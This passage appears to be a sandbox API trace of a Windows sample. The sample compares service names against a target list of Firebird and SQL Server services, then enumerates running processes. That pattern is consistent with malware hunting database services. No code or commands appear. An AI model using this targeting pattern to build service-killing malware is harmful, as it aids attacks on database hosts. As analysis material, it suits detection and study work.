[0198.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0198.041] lstrlenW (lpString="LanmanServer") returned 12 [0198.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0198.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0198.041] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0198.041] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0198.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0198.041] lstrlenW (lpString="LanmanWorkstation") returned 17 [0198.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0198.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0198.041] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0198.042] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0198.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0198.042] lstrlenW (lpString="lfsvc") returned 5 [0198.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0198.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0198.042] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0198.042] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0198.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0198.042] lstrlenW (lpString="LicenseManager") returned 14 [0198.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0198.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0198.045] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0198.045] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0198.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0198.045] lstrlenW (lpString="lmhosts") returned 7 [0198.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0198.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0198.045] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0198.074] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0198.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0198.074] lstrlenW (lpString="LSM") returned 3 [0198.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0198.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0198.074] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0198.074] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0198.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0198.074] lstrlenW (lpString="MpsSvc") returned 6 [0198.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0198.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0198.074] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0198.074] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0198.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0198.074] lstrlenW (lpString="NcbService") returned 10 [0198.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0198.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0198.074] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0198.074] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0198.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0198.074] lstrlenW (lpString="netprofm") returned 8 [0198.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0198.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0198.074] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0198.074] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0198.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0198.074] lstrlenW (lpString="NlaSvc") returned 6 [0198.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0198.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0198.074] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0198.075] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0198.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0198.075] lstrlenW (lpString="nsi") returned 3 [0198.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0198.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0198.075] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0198.075] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0198.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0198.075] lstrlenW (lpString="PcaSvc") returned 6 [0198.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0198.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0198.075] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0198.075] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0198.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0198.075] lstrlenW (lpString="PlugPlay") returned 8 [0198.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0198.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0198.075] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0198.075] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0198.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0198.075] lstrlenW (lpString="Power") returned 5 [0198.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0198.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0198.075] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0198.075] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0198.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0198.075] lstrlenW (lpString="ProfSvc") returned 7 [0198.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0198.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0198.075] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0198.075] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0198.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0198.075] lstrlenW (lpString="RpcEptMapper") returned 12 [0198.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0198.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0198.075] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0198.076] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0198.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0198.076] lstrlenW (lpString="RpcSs") returned 5 [0198.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0198.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0198.076] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0198.076] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0198.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0198.076] lstrlenW (lpString="SamSs") returned 5 [0198.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0198.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0198.076] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0198.076] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0198.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0198.076] lstrlenW (lpString="Schedule") returned 8 [0198.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0198.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0198.076] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0198.076] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0198.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0198.076] lstrlenW (lpString="SecurityHealthService") returned 21 [0198.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0198.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0198.076] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0198.076] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0198.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0198.076] lstrlenW (lpString="SENS") returned 4 [0198.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0198.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0198.076] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0198.076] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0198.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0198.076] lstrlenW (lpString="ShellHWDetection") returned 16 [0198.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0198.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0198.077] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0198.077] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0198.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0198.077] lstrlenW (lpString="Spooler") returned 7 [0198.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0198.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0198.077] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0198.077] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0198.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0198.077] lstrlenW (lpString="SSDPSRV") returned 7 [0198.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0198.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0198.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0198.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0198.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0198.077] lstrlenW (lpString="StateRepository") returned 15 [0198.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0198.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0198.077] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0198.077] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0198.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0198.328] lstrlenW (lpString="SysMain") returned 7 [0198.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0198.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0198.328] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0198.328] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0198.328] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x810c70 | out: hHeap=0x790000) returned 1 [0198.328] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2a0 [0198.334] Process32FirstW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.334] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0198.335] lstrlenW (lpString="System") returned 6 [0198.335] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0198.336] lstrlenW (lpString="smss.exe") returned 8 [0198.336] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0198.336] lstrlenW (lpString="csrss.exe") returned 9 [0198.336] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0198.337] lstrlenW (lpString="wininit.exe") returned 11 [0198.337] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0198.338] lstrlenW (lpString="csrss.exe") returned 9 [0198.338] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0198.338] lstrlenW (lpString="winlogon.exe") returned 12 [0198.338] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0198.339] lstrlenW (lpString="services.exe") returned 12 [0198.339] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0198.340] lstrlenW (lpString="lsass.exe") returned 9 [0198.340] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.340] lstrlenW (lpString="svchost.exe") returned 11 [0198.341] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0198.341] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0198.341] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0198.342] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0198.342] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.343] lstrlenW (lpString="svchost.exe") returned 11 [0198.343] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0198.343] lstrlenW (lpString="dwm.exe") returned 7 [0198.343] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.344] lstrlenW (lpString="svchost.exe") returned 11 [0198.344] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.345] lstrlenW (lpString="svchost.exe") returned 11 [0198.345] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.346] lstrlenW (lpString="svchost.exe") returned 11 [0198.346] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.346] lstrlenW (lpString="svchost.exe") returned 11 [0198.346] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.347] lstrlenW (lpString="svchost.exe") returned 11 [0198.347] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.348] lstrlenW (lpString="svchost.exe") returned 11 [0198.348] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.348] lstrlenW (lpString="svchost.exe") returned 11 [0198.348] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.349] lstrlenW (lpString="svchost.exe") returned 11 [0198.349] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.350] lstrlenW (lpString="svchost.exe") returned 11 [0198.350] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0198.350] lstrlenW (lpString="spoolsv.exe") returned 11 [0198.350] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.351] lstrlenW (lpString="svchost.exe") returned 11 [0198.351] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.352] lstrlenW (lpString="svchost.exe") returned 11 [0198.352] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0198.352] lstrlenW (lpString="audiodg.exe") returned 11 [0198.352] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0198.353] lstrlenW (lpString="sihost.exe") returned 10 [0198.353] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.354] lstrlenW (lpString="svchost.exe") returned 11 [0198.354] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0198.354] lstrlenW (lpString="taskhostw.exe") returned 13 [0198.354] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0198.355] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0198.355] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0198.356] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0198.356] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0198.356] lstrlenW (lpString="explorer.exe") returned 12 [0198.356] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0198.357] lstrlenW (lpString="Memory Compression") returned 18 [0198.357] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0198.358] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0198.358] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0198.358] lstrlenW (lpString="SearchUI.exe") returned 12 [0198.358] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0198.359] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0198.359] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, 